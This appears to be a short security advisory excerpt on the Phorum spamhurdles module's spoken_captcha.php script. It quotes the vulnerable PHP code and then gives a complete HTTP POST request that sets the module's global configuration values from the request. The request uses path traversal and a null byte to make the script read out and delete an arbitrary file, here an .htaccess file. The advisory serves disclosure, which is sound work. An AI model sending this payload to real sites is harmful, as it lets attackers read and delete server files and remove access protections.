/*...*/ global $PHORUM; $conf = $PHORUM["mod_spamhurdles"]; if ($conf["spoken_captcha"] && file_exists($conf["flite_location"]) && isset($PHORUM["SPAMHURDLES"]["captcha"]["spoken_text"])) { /*...*/ $tmpfile = "{$PHORUM["cache"]}/spokencaptcha_{$key}.wav"; /*...*/ if (file_exists($tmpfile) and filesize($tmpfile) > 0) { header("Content-Type: audio/x-wav"); header("Content-Disposition: attachment; filename=captchacode.wav"); header("Content-Length: " . filesize($tmpfile)); readfile($tmpfile); unlink($tmpfile); exit(0); /*...*/
POST http://[host]/[path]/mods/spamhurdles/captcha/spoken_captcha.php HTTP/1.0 Content-type: application/x-www-form-urlencoded PHORUM[mod_spamhurdles][spoken_captcha]=1&PHORUM[mod_spamhurdles][flite_location]=spoken_captcha.php&PHORUM[SPAMHURDLES][captcha][spoken_text]=1&PHORUM[cache]=../../../scripts/.htaccess%00